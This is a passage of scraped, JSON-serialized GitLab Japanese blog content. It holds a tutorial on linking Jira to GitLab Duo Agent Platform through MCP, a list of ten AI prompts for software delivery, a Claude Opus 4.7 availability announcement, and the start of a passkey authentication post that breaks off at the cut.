Platformの[MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)サポートにより、Jiraをはじめ、MCPに対応するあらゆるツールを、AIを活用した開発環境に直接接続できるようになりました。課題の照会、チケットの更新、ワークフローの同期など、すべてを自然言語で、IDEを離れることなく実行できます。\n\n## この記事で学べること\n\nこのチュートリアルでは、以下の内容を解説します。\n\n* **Jira/Atlassian OAuthアプリケーションのセットアップ** — セキュアな認証を設定します\n* **GitLab Duo Agent Platformの設定** — GitLab Duo Agent PlatformをMCPクライアントとして設定します\n* **3つの実践的なユースケース** — 実際のワークフローのデモをご覧ください\n\n## 前提条件\n\n開始する前に、以下の要件を満たしていることをご確認ください。\n\n| 要件 | 詳細 |\n| ---- | ----- |\n| **GitLabインスタンス** | Duo Agent Platformが有効なGitLab 18.8以降 |\n| **Jiraアカウント** | OAuthアプリケーションを作成できる管理者権限を持つJira Cloudインスタンス |\n| **IDE** | GitLab Workflow拡張機能がインストールされたVisual Studio Code |\n| **MCPサポート** | GitLabでMCPサポートが有効化済み |\n\n\n## アーキテクチャの概要\n\nGitLab Duo Agent Platformは**MCPクライアント**として機能し、Atlassian MCPサーバーに接続してJiraのプロジェクト管理データにアクセスします。Atlassian MCPサーバーは認証を処理し、自然言語のリクエストをAPI呼び出しに変換して、構造化されたデータをGitLab Duo Agent Platformに返します。このプロセス全体を通じて、セキュリティと監査管理が維持されます。\n\n## パート1：Jira OAuthアプリケーションの設定\n\nGitLab Duo Agent PlatformをJiraインスタンスに安全に接続するには、Atlassian Developer ConsoleでOAuth 2.0アプリケーションを作成する必要があります。これにより、GitLabのMCPサーバーにJiraデータへの認可されたアクセス権が付与されます。\n\n### セットアップ手順\n\n手動で設定する場合は、以下の手順に従ってください。\n\n1. **Atlassian Developer Consoleへのアクセス**\n\n   * [developer.atlassian.com/console/myapps](https://developer.atlassian.com/console/myapps)にアクセスします。\n\n   * Atlassianアカウントでサインインします。\n\n2. **新しいOAuth 2.0アプリの作成**\n\n   * 「**Create**」→「**OAuth 2.0 integration**」をクリックします。\n\n   * アプリ名を入力します（例：「gitlab-dap-mcp」）。\n\n   * 利用規約に同意し、「**Create**」をクリックします。\n\n3. **権限の設定**\n\n   * 左サイドバーの「**Permissions**」に移動します。\n\n   * 「**Jira API**」を追加し、以下のスコープを設定します。\n\n     * `read:jira-work` — 課題、プロジェクト、ボードの読み取り\n\n     * `write:jira-work` — 課題の作成と更新\n\n     * `read:jira-user` — ユーザー情報の読み取り\n\n4. **認可の設定**\n\n   * 左サイドバーの「**Authorization**」に移動します。\n\n   * お使いの環境のコールバックURLを追加します（`https://gitlab.com/oauth/callback`）。\n\n   * 変更を保存します。\n\n5. **認証情報の取得**\n\n   * 「**Settings**」に移動します。\n\n   * 「**Client ID**」と「**Client Secret**」をコピーします。\n\n   * これらの認証情報はMCP設定に必要なため、安全な場所に保管してください。\n\n\n### インタラクティブウォークスルー：Jira OAuthのセットアップ\n\n以下の画像をクリックして開始してください。\n\n\n[![Jira OAuthセットアップツアー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772644850/wnzfoq43nkkfmgdqldmr.png)](https://gitlab.navattic.com/jira-oauth-setup)\n\n\n## パート2：GitLab Duo Agent PlatformのMCPクライアントの設定\n\nOAuth認証情報の準備ができたら、GitLab Duo Agent PlatformをAtlassian MCPサーバーに接続するための設定を行います。\n\n### MCP設定ファイルの作成\n\nGitLabプロジェクトの `.gitlab/duo/mcp.json` にMCP設定ファイルを作成します。\n\n\n```json\n{\n  \"mcpServers\": {\n    \"atlassian\": {\n      \"type\": \"http\",\n      \"url\": \"https://mcp.atlassian.com/v1/mcp\",\n      \"auth\": {\n        \"type\": \"oauth2\",\n        \"clientId\": \"YOUR_CLIENT_ID\",\n        \"clientSecret\": \"YOUR_CLIENT_SECRET\",\n        \"authorizationUrl\": \"https://auth.atlassian.com/oauth/authorize\",\n        \"tokenUrl\": \"https://auth.atlassian.com/oauth/token\"\n      },\n      \"approvedTools\": true\n    }\n  }\n}\n```\n\n`YOUR_CLIENT_ID` と `YOUR_CLIENT_SECRET` は、パート1で生成した認証情報に置き換えてください。\n\n### GitLabでMCPを有効化\n\n1. 「**グループ設定**」→「**GitLab Duo**」→「**Configuration**」に移動します。\n2. 「Allow external MCP tools」にチェックが入っていることを確認します。\n\n### 接続の確認\n\nVS Codeでプロジェクトを開いてGitLab Duo Agent Platformのチャットで次のように入力してください。\n\n```text\nWhat MCP tools do you have access to?\n```\n\n次に、以下のように入力します。\n\n```text\nTest the MCP JIRA configuration in this project\n```\n\nこの時点で、IDEからAtlassian MCPウェブサイトにリダイレクトされ、アクセスの承認を求められます。\n\n![Atlassian MCPウェブサイトへのリダイレクト](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/z5acqjgguh0damnnde9g.png \"MCPのAtlassianウェブサイトへのリダイレクト\")\n\n\u003Cbr>\u003C/br>\n\n![アクセスの承認](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/rwowamm8nsubhpixtn3i.png \"アクセスの承認\")\n\n\u003Cbr>\u003C/br>\n\n![JIRAインスタンスを選択して承認](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/chuzqd0jeptfwvoj7wjr.png \"JIRAインスタンスを選択して承認\")\n\n\u003Cbr>\u003C/br>\n\n![成功！](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/bsgti5iste2bzck19o5y.png \"成功！\")\n\n\u003Cbr>\u003C/br>\n\n### MCPダッシュボードでの確認\n\nGitLabには、IDEに組み込みの**MCPダッシュボード**も用意されています。\n\nVS CodeまたはVSCodiumで、コマンドパレット（macOSでは `Cmd+Shift+P`、Windows/Linuxでは `Ctrl+Shift+P`）を開いて「**GitLab: Show MCP Dashboard**」を検索してください。ダッシュボードは新しいエディタータブで表示され、以下の情報を確認できます。\n\n* 設定済みの各MCPサーバーの**接続ステータス**\n* サーバーが公開している**利用可能なツール**（例：`jira_get_issue`、`jira_create_issue`）\n* **サーバーログ** — リアルタイムで呼び出されているツールを確認可能\n\n![MCPサーバーのダッシュボードとステータス](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/mmvdfchucacsydivowvn.png \"MCPサーバーのダッシュボードとステータス\")\n\n\u003Cbr>\u003C/br>\n\n![サーバーの詳細と権限](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/tcocgdvovp2dl42pvfn8.png \"サーバーの詳細と権限\")\n\n\u003Cbr>\u003C/br>\n\n\n![MCPサーバーログ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643466/mougvqqk1bozchaufsci.png \"MCPサーバーログ\")\n\n\u003Cbr>\u003C/br>\n\n### インタラクティブウォークスルー：MCPのテスト\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005495?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Testing MCP\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## パート3：実践的なユースケース\n\n統合の設定が完了したら、JiraをGitLab Duo Agent Platformへの接続を実現できる3つの実践的なワークフローを見ていきましょう。\n\n### プランニングアシスタント\n\n**シナリオ：** スプリントプランニングの準備として、バックログをすばやく評価し、優先事項を把握し、ブロッカーを特定する必要があります。\n\nこのデモでは以下の操作を紹介します。\n\n* バックログの照会\n* 未割り当ての高優先度課題の特定\n* AIによるスプリント推奨の取得\n\n#### プロンプト例\n\nGitLab Duo Agent Platformのチャットで以下のプロンプトをお試しください。\n\n```text\nList all the unassigned issues in JIRA for project GITLAB\n```\n\n```text\nSuggest the two top issues to prioritize and summarize them. Assign them to me.\n```\n\n### インタラクティブウォークスルー：プロジェクトプランニング\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005462?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Project Planning\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player. js\">\u003C/script>\n\n### コードからの課題トリアージと作成\n\n**シナリオ：** コードレビュー中にバグを発見し、IDEを離れることなく、関連するコンテキストに沿ってJiraの課題を作成したい場合です。\n\nこのデモでは以下の手順を紹介します。\n\n* コーディング中のバグの特定\n* 自然言語を使ったJira課題の詳細な作成\n* コードのコンテキストに沿った課題フィールドの自動入力\n* 現在のブランチへの課題のリンク\n\n#### プロンプト例\n\n```text\nSearch in JIRA for a bug related to: Null pointer exception in PaymentService.processRefund().\nIf it does not exist create it with all the context needed from the code. Find possible blockers that this bug may cause.\n```\n\n```text\nCreate a new branch called issue-gitlab-18, checkout, and link it to the issue we just created. Assign the JIRA issue to me and mark it as in-progress.\n```\n\n### インタラクティブウォークスルー：バグレビューとタスク自動化\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005368?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Bug Review\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### クロスシステムのインシデント調査\n\n**シナリオ：** 本番環境でインシデントが発生し、Jira（インシデントチケット）、GitLabプロジェクト管理、コードベース、マージリクエストからの情報を照合して根本原因を特定する必要があります。\n\nこのデモでは以下を実演します。\n\n* Jiraからのインシデント詳細の取得\n* GitLabの最近のマージリクエストとの照合\n* 関連する可能性のあるコード変更の特定\n* インシデントタイムラインの生成\n* 修正計画の設計とGitLabのワークアイテムとしての作成\n\n#### プロンプト例\n\n```text\n\"We have a production incident INC-1 about checkout failures. Can you help me investigate with all available context?\"\n```\n\n```text\nCreate a timeline of events for incident INC-1 including related Jira issues and recent deployments\n```\n\n```text\nPropose a remediation plan\n```\n\n### インタラクティブウォークスルー：クロスシステムのトラブルシューティングと修正\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005413?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Cross System Investigation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## トラブルシューティング\n\nよくあるセットアップの問題と解決策を以下にまとめます。\n\n| 問題 | 解決策 |\n| ----- | ----- |\n| 「MCP server not found」 | `mcp.json` ファイルが正しい場所にあり、適切にフォーマットされていることを確認してください。 |\n| 「Authentication failed」 | OAuth認証情報を再確認し、Atlassianでスコープが正しく設定されていることを確認してください。 |\n| 「No Jira tools available」 | `mcp.json` を更新後にVS Codeを再起動し、GitLabでMCPが有効になっていることを確認してください。 |\n| 「Connection timeout」 | `mcp.atlassian.com` へのネットワーク接続を確認してください。 |\n\n\u003Cbr/> 詳細なトラブルシューティングについては、[GitLab MCPクライアントのドキュメント](https://docs.gitlab.com/ja-jp/user/gitlab_duo/model_context_protocol/mcp_clients/)をご参照ください。\n\n\n## セキュリティに関する考慮事項\n\nJiraをGitLab Duo Agent Platformと統合する際は、以下の点にご注意ください。\n\n* **OAuthトークン** — 認証情報を安全に管理してください。\n* **最小権限の原則** — Jiraスコープは必要最小限のみ付与してください。\n* **トークンのローテーション** — セキュリティ管理の一環として、OAuth認証情報を定期的にローテーションしてください。\n\n\n## まとめ\n\nMCPを通じてGitLab Duo Agent Platformをさまざまなツールに接続することで、開発ライフサイクルとのインタラクションが大きく変わります。この記事では、以下の方法を学びました。\n\n* **自然言語による課題の照会** — バックログ、スプリント、インシデントについて自然言語で質問できます。\n* **DevSecOps環境全体での課題の作成と更新** — IDEを離れることなくバグを報告し、チケットを更新できます。\n* **システム間の情報照合** — JiraのデータをGitLabのプロジェクト管理、マージリクエスト、パイプラインと組み合わせることで、全体的な可視性が得られます。\n* **コンテキスト切り替えの削減** — プロジェクト管理とのつながりを維持しながら、コードに集中できます。\n\nこの統合は、MCPの可能性を体現するものです。AIを通じてツールへの標準化されたセキュアなアクセスを提供し、ガバナンスやセキュリティを損なうことなく、デベロッパーがより効率的に作業できる環境を実現します。\n\n\n## 関連リソース\n\n* [Model Context Protocol統合](https://about.gitlab.com/ja-jp/blog/duo-agent-platform-with-mcp/)\n\n* [Model Context Protocolとは](https://about.gitlab.com/topics/ai/model-context-protocol/)\n\n* [エージェント型AIに関するガイドとリソース](https://about.gitlab.com/ja-jp/blog/agentic-ai-guides-and-resources/)\n\n* [GitLab MCPクライアントのドキュメント](https://docs.gitlab.com/ja-jp/user/gitlab_duo/model_context_protocol/mcp_clients/)\n\n* [GitLab Duo Agent Platformを始める：完全ガイド](https://about.gitlab.com/ja-jp/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)",[846],"Albert Rabassa","2026-03-30","2026-03-05","MCPであらゆるツールを接続してGitLab Duo Agent Platformを拡張",[745,822],"MCPを使用して外部ツールをGitLab Duo Agent Platformに接続する方法を解説します。3つの実践的なワークフローデモを含むステップバイステップのセットアップガイドです。",{"featured":641,"template":796,"slug":853},"extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp",{"content":855,"config":866},{"heroImage":856,"body":857,"authors":858,"updatedDate":860,"date":861,"title":862,"tags":863,"description":865,"category":654},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772632341/duj8vaznbhtyxxhodb17.png","AIを活用したコーディングツールにより、開発者はこれまで以上に速くコードを生成できるようになりました。では、なぜチーム全体の *リリース速度* は上がらないのでしょうか？\n\nそれは、コーディングがソフトウェア提供ライフサイクルの20%に過ぎず、残りの80%がボトルネックになっているからです。コードレビューの滞留、セキュリティスキャンの遅れ、ドキュメントの陳腐化、手動の調整作業の増加が、チームの速度を妨げています。\n\n嬉しいことに、個人のコーディングを加速する同じAI機能を使って、チームレベルの遅延も解消できます。コーディングフェーズだけでなく、ソフトウェアライフサイクル全体にAIを適用することが重要です。\n\n以下は、[GitLab Duo Agent Platformプロンプトライブラリ](https://about.gitlab.com/gitlab-duo/prompt-library/)から厳選した、すぐに使える10のプロンプトです。個人の生産性が向上する一方でチームプロセスの改善が追いついていないときに生じる、よくある障害を乗り越えるために役立ちます。\n\n## コードレビューをボトルネックから加速装置へ\n\nAIの支援により開発者はマージリクエストをより速く作成できるようになりましたが、コードレビューのサイクルが数時間から数日に伸びるにつれ、人間のレビュアーはすぐに手に負えなくなります。AIは定型的なレビュー作業を担うことで、レビュアーが基本的な論理エラーやAPI契約違反の発見に時間を取られることなく、アーキテクチャやビジネスロジックに集中できるようにします。\n\n### マージリクエストの論理エラーをレビューする\n\n**複雑さ**: 初級\n\n**カテゴリ**: コードレビュー\n\n**ライブラリのプロンプト**:\n\n```text\nこのMRの論理エラー、エッジケース、潜在的なバグをレビューしてください: [MRのURLまたはコードを貼り付け]\n```\n\n**効果**: 自動リンターは構文エラーを検出しますが、論理エラーの発見にはコードの意図を理解する必要があります。このプロンプトは、人間のレビュアーがコードを確認する前にバグを検出し、複数回のレビューサイクルを多くの場合1回の承認で完結させます。\n\n### マージリクエストの破壊的変更を特定する\n\n**複雑さ**: 初級\n\n**カテゴリ**: コードレビュー\n\n**ライブラリのプロンプト**:\n\n```text\nこのMRに破壊的変更はありますか？\n\nChanges:\n[code diffを貼り付け]\n\n以下を確認してください：\n1. APIシグネチャの変更\n2. publicメソッドの削除またはリネーム\n3. 戻り値の型の変更\n4. データベーススキーマの変更\n5. 設定の破壊的変更\n```\n\n**効果**: デプロイ中に破壊的変更が発見されると、ロールバックやインシデントにつながります。このプロンプトにより、その発見をマージリクエストの段階に前倒しできるため、修正がより迅速かつ低コストになります。\n\n## セキュリティをシフトレフトしながら速度を落とさないには？\n\nセキュリティスキャンは数百件もの検出結果を生成します。開発者がデプロイの承認を待つ間、セキュリティチームはそれぞれを手動でトリアージしています。検出結果の多くはフォルスポジティブや低リスクの問題ですが、実際の脅威を特定するには専門知識と時間が必要です。AIは実際の悪用可能性に基づいて検出結果を優先順位付けし、一般的な脆弱性を自動修復することで、セキュリティチームが本当に重要な脅威に集中できるようにします。\n\n### セキュリティスキャン結果を分析する\n\n**複雑さ**: 中級\n\n**カテゴリ**: セキュリティ\n\n**エージェント**: Duo Security Analyst\n\n**ライブラリのプロンプト**:\n\n```text\n@security_analyst このセキュリティスキャン結果を分析してください:\n\n[スキャン結果を貼り付け]\n\n各検出結果について:\n1. 実際のリスクかフォルスポジティブかを評価する\n2. 脆弱性を説明する\n3. 修復方法を提案する\n4. 深刻度で優先順位をつける\n```\n\n**効果**: セキュリティスキャンの検出結果の多くはフォルスポジティブや低リスクの問題です。このプロンプトはセキュリティチームが本当に重要な検出結果に集中できるようにし、修復にかかる時間を数週間から数日に短縮します。\n\n### コードのセキュリティ問題をレビューする\n\n**複雑さ**: 中級\n\n**カテゴリ**: セキュリティ\n\n**エージェント**: Duo Security Analyst\n\n**ライブラリのプロンプト**:\n\n```text\n@security_analyst このコードのセキュリティ問題をレビューしてください:\n\n[コードを貼り付け]\n\n以下を確認してください：\n1. インジェクション脆弱性\n2. 認証・認可の欠陥\n3. データ漏洩リスク\n4. 安全でない依存関係\n5. 暗号化の問題\n```\n\n**効果**: 従来のセキュリティレビューはコードが書かれた後に行われます。このプロンプトにより、開発者はマージリクエストを作成する前にセキュリティ問題を発見・修正でき、デプロイを遅らせる往復のやり取りを解消します。\n\n## コードの変更に合わせてドキュメントを最新に保つには？\n\nコードはドキュメントよりも速く変化します。ドキュメントが古かったり不足していたりするため、新しい開発者のオンボーディングには数週間かかります。ドキュメントの重要性はチーム全員が理解していますが、締め切りが近づくと常に後回しになります。標準ワークフローの一部としてドキュメントの生成と更新を自動化することで、手動作業を増やすことなくドキュメントを最新の状態に保てます。\n\n### マージリクエストからリリースノートを生成する\n\n**複雑さ**: 初級\n\n**カテゴリ**: ドキュメント\n\n**ライブラリのプロンプト**:\n\n```text\nマージ済みのこれらのMRのリリースノートを生成してください:\n[MRのURL一覧またはタイトルを貼り付け]\n\n以下のカテゴリでグループ化してください:\n1. 新機能\n2. バグ修正\n3. パフォーマンス改善\n4. 破壊的変更\n5. 非推奨事項\n```\n\n**効果**: リリースノートを手動でまとめるには数時間かかり、誤りや漏れが生じることもあります。自動生成により、リリースプロセスに負担をかけることなく、すべてのリリースに包括的なノートが揃います。\n\n### コード変更後にドキュメントを更新する\n\n**複雑さ**: 初級\n\n**カテゴリ**: ドキュメント\n\n**ライブラリのプロンプト**:\n\n```text\nこのコードを変更しました:\n\n[コード変更内容を貼り付け]\n\nどのドキュメントを更新する必要がありますか？以下を確認してください:\n1. READMEファイル\n2. APIドキュメント\n3. アーキテクチャ図\n4. オンボーディングガイド\n```\n\n**効果**: ドキュメントの乖離は、コード変更後にどのドキュメントを更新すべきかをチームが忘れることで起きます。このプロンプトにより、ドキュメントのメンテナンスが後回しにされる別タスクではなく、開発ワークフローの一部になります。\n\n## 計画の複雑さを分解するには？\n\n大規模な機能は計画段階で行き詰まりがちです。チームは作業範囲の定義と依存関係の特定のために何週間も会議を重ねます。複雑さに圧倒され、どこから始めればよいかわからなくなります。AIは複雑な作業を具体的で実装可能なタスクに体系的に分解し、明確な依存関係と受け入れ基準を設定することで、何週間もの計画を集中した実装へと変えます。\n\n### エピックをイシューに分解する\n\n**複雑さ**: 中級\n\n**カテゴリ**: ドキュメント\n\n**エージェント**: Duo Planner\n\n**ライブラリのプロンプト**:\n\n```text\nこのエピックを実装可能なイシューに分解してください：\n\n[エピックの説明]\n\n以下を考慮してください：\n1. 技術的な依存関係\n2. 適切なイシューのサイズ\n3. 明確な受け入れ基準\n4. 論理的な実装順序\n```\n\n**効果**: このプロンプトにより、1週間分の計画会議が30分のAI支援による分解とチームレビューに変わります。チームはより明確な方向性を持って、より早く実装を開始できます。\n\n## 工数を増やさずにテストカバレッジを拡大するには？\n\n開発者はコードをより速く書けるようになりましたが、テストが追いつかないとカバレッジが低下してバグが見逃されます。包括的なテストを手動で書くには時間がかかり、締め切りのプレッシャーの下でエッジケースを見落とすことも多くあります。テストを自動生成することで、開発者はゼロから書く代わりにレビューと改善に集中でき、速度を犠牲にすることなく品質を維持できます。\n\n### ユニットテストを生成する\n\n**複雑さ**: 初級\n\n**カテゴリ**: テスト\n\n**ライブラリのプロンプト**:\n\n```text\nこの関数のユニットテストを生成してください：\n\n[関数を貼り付け]\n\n以下のテストを含めてください：\n1. 正常系\n2. エッジケース\n3. エラー条件\n4. 境界値\n5. 不正な入力\n```\n\n**効果**: テストを手動で書くには時間がかかり、エッジケースが見落とされることもあります。このプロンプトは数秒で網羅的なテストスイートを生成し、開発者はゼロから書く代わりにレビューと調整に集中できます。\n\n### テストカバレッジのギャップをレビューする\n\n**複雑さ**: 初級\n\n**カテゴリ**: テスト\n\n**ライブラリのプロンプト**:\n\n```text\n[モジュール/コンポーネント]のテストカバレッジを分析してください：\n\n現在のカバレッジ：[パーセンテージ]\n\n以下を特定してください：\n1. テストされていない関数・メソッド\n2. カバーされていないエッジケース\n3. 不足しているエラーシナリオのテスト\n4. テストのない統合ポイント\n5. 次にテストすべき優先領域\n```\n\n**効果**: このプロンプトは、本番インシデントを引き起こす前にテストスイートのブラインドスポットを明らかにします。チームはより重要な箇所から体系的にカバレッジを改善できます。\n\n## デバッグ時の平均解決時間を短縮するには？\n\n本番インシデントの診断には数時間かかります。顧客がダウンタイムを経験する中、開発者はログやスタックトレースを調べ続けます。デバッグの1分1分が、生産性と潜在的な収益の損失につながります。AIは複雑なエラーメッセージを解析して具体的な修正案を提示することで根本原因分析を加速し、診断時間を数時間から数分に短縮します。\n\n### 失敗したパイプラインをデバッグする\n\n**複雑さ**: 初級\n\n**カテゴリ**: デバッグ\n\n**ライブラリのプロンプト**:\n\n```text\nこのパイプラインが失敗しています：\n\nジョブ：[ジョブ名]\nステージ：[ステージ]\nエラー：[エラーメッセージ/ログを貼り付け]\n\n\n以下を助けてください:\n1. 根本原因を特定する\n2. 修正方法を提案する\n3. なぜ失敗し始めたかを説明する\n4. 同様の問題を防ぐ\n```\n\n**効果**: CI/CDの失敗はチーム全体をブロックします。このプロンプトは、開発者が通常15〜30分かけて調査する問題を数秒で診断し、デプロイの速度を維持します。\n\n## 個人の成果からチームの加速へ\n\nこれらのプロンプトは、チームがソフトウェア提供にAIを活用する方法の転換を示しています。個人の開発者生産性だけに注目するのではなく、チームの速度を実際に制約している調整・品質・ナレッジ共有の課題に対処します。\n\n[プロンプトライブラリ](https://about.gitlab.com/gitlab-duo/prompt-library/)には、計画、開発、セキュリティ、テスト、デプロイ、運用といったソフトウェアライフサイクルの全ステージにわたる100以上のプロンプトが収録されています。各プロンプトは複雑さのレベル（初級・中級・上級）でタグ付けされ、ユースケース別に分類されているため、チームに合ったスタート地点を簡単に見つけられます。\n\nまずはチームの最も緊急な課題に対応する「初級」タグのプロンプトから始めましょう。チームが自信をつけるにつれ、より高度なワークフローを実現する中級・上級のプロンプトへと探求の幅を広げてください。目標は単に速いコーディングではなく、計画から本番まで、より速く、より安全で、より高品質なソフトウェア提供の実現です。",[859],"Chandler Gibbons","2026-03-13","2026-03-04","チームのソフトウェア提供を加速する10のAIプロンプト",[806,864],"DevOps platform","ソフトウェアライフサイクル全体をカバーするすぐに使えるAIプロンプトで、レビューの滞留、セキュリティの遅延、調整の手間を解消します。",{"featured":641,"template":796,"slug":867},"10-ai-prompts-to-speed-your-teams-software-delivery",{"category":669,"slug":667,"posts":869},[870,883,895],{"content":871,"config":881},{"heroImage":872,"body":873,"authors":874,"updatedDate":876,"date":877,"title":878,"tags":879,"description":880,"category":667},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1776174711/ksndibz6sgj1umx5cjsj.png","\n[GitLab Duo Agent Platform](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/)が、Anthropicの最新モデルである[Claude Opus 4.7](https://www.anthropic.com/news/claude-opus-4-7)をサポートしました。本日より、[Agentic Chat](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/context/#gitlab-duo-agentic-chat)でのモデル選択や、GitLabインスタンス全体のエージェント型ワークフローでご利用いただけます。\n\n\nソフトウェアデリバリーライフサイクル全体でエージェントを活用しているチームにとって、Opus 4.7は最も重要なタスク、すなわち継続的な推論と正確な指示遵守、そして結果を返す前に自身の出力を検証する能力が求められる、複雑なマルチステップ作業において、大きな改善をもたらします。\n\n\n## あらゆるエージェントワークフローで推論能力が強化\n\n\n最も大きな向上は、難易度の高い長時間の作業をOpus 4.7がいかに処理するかという点です。GitLabの社内評価では、Sonnet 4.6およびOpus 4.6の両方を上回るパフォーマンスが確認されました。この組み合わせは、複合的なエラーが大きなコストにつながる、CI/CDパイプライン、コードレビュー、脆弱性解消、その他のマルチツールワークフローにおいて、エージェントがより効率的に動作することに直結します。\n\n\nエージェントワークフローを確立しているチームは、Opus 4.7が以前のモデルより正確に指示を解釈する点にご注目ください。これにより、複雑な条件付きタスクをより忠実に実行できます。たとえば、マルチステップの修正シーケンスを処理するエージェントは、各ステップを指定どおりに完了するため、予測可能で監査しやすい結果をチームにもたらします。\n\n\n## エージェントがコードから本番環境への作業を前進させる\n\nソフトウェア開発ライフサイクルのあらゆる段階に組み込まれたエージェントの可能性は、作業が人の手を待つことなく前進し続けることにあります。Opus 4.7は、その可能性を実際に、より確実なものにします。\n\n\nコード生成とテスト作成の段階では、Opus 4.7が結果を返す前に自身の出力を検証する能力により、エージェントはより大きな恩恵を受けます。やり取りの回数が減り、反復速度が上がり、開発者の集中を妨げる割り込みも少なくなります。セキュリティと脆弱性のワークフローでは、指示遵守の精度向上により、エージェントはマルチステップの修正シーケンスを最後までやり遂げ、途中での軌道修正が不要になります。\n\n\nCI/CDにおいて、パイプラインの失敗はチーム全体のボトルネックになりかねませんが、ここでOpus 4.7の長期的な一貫性が最も威力を発揮します。失敗を調査し、ログを分析し、修正案を提案するエージェントは、実行途中でコンテキストを失うことなく、一連の作業を首尾一貫して処理します。問題はエスカレーションされるのではなく、解決されます。\n\nGitLab Duo Agent Platformは、こうした段階を設計上連携させています。Opus 4.7は、それらすべてを横断する知能レイヤーを強化します。これにより、計画・開発・セキュリティ・デプロイメントをまたいで連携するエージェントが、あらゆる引き継ぎ地点で、より高い能力を持つモデルによる意思決定の恩恵を受けられます。\n\n## 料金と利用方法\n\nClaude Opus 4.7は、[モデル選択](https://docs.gitlab.com/ja-jp/administration/gitlab_duo/model_selection/)よりGitLab Duo Agent Platformで本日から利用可能です。Duo Agent Platformで利用可能なモデルの一覧とクレジット消費量については、[ドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#models)をご参照ください。\n\nGitLab Duo Agent Platformの[無料トライアル](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)を今すぐ開始できます。GitLabの無料プランをご利用中の場合は、[こちらの手順](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom)に従って、数ステップでDuo Agent Platformにサインアップできます。\n\nGitLab PremiumまたはUltimateの既存サブスクライバーの方は、[Duo Agent Platformをオンに](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/turn_on_off/)するだけで、サブスクリプションに[含まれている](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#included-credits)GitLabクレジットをすぐにご利用いただけます。\n\n\n*このブログポストには、改正証券法第27A条および改正証券取引所法第21E条の意味における将来の見通しに関する記述が含まれています。これらの記述に反映された期待は合理的であると考えていますが、実際の結果や成果が重大に異なる可能性のある既知・未知のリスク、不確実性、前提、その他の要因に左右されます。これらのリスクおよびその他の要因の詳細については、SECへの提出書類の「リスク要因」の見出しをご参照ください。当社は、法律で義務付けられている場合を除き、このブログポストの日付以降にこれらの記述を更新または修正する義務を負いません。*\n",[875],"Rebecca Carter","2026-04-17","2026-04-16","Claude Opus 4.7がGitLab Duo Agent Platformで利用可能になりました",[806,745],"Anthropicの最新モデルが本日より利用可能に。より高度なエージェントワークに対応します。",{"featured":641,"template":796,"slug":882},"claude-opus-4-7-is-now-available-in-gitlab-duo-agent-platform",{"content":884,"config":893},{"title":885,"description":886,"authors":887,"heroImage":889,"date":890,"body":891,"category":667,"tags":892},"GitLabでパスキーによるパスワードレスサインインと2FAが利用可能に","アカウントにパスキーを登録する方法と、フィッシング耐性のある2要素認証の仕組みについて解説します。",[888],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-02-25","GitLabでパスキーが利用可能になり、より安全で便利なアカウントアクセス方法を提供します。パスキーは、パスワードレスサインインまたはフィッシング耐性のある2要素認証（2FA）方法として使用できます。パスキーを使用すると、デバイスの指紋認証、顔認識、またはPINを使って認証を行うことができます。2FAが有効になっているアカウントでは、パスキーが自動的にデフォルトの2FA方法として利用可能になります。\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe> \u003C/figure>\n\n\u003Cbr>\u003C/br>\n\nアカウントにパスキーを登録するには、プロフィール設定にアクセスし、**アカウント > 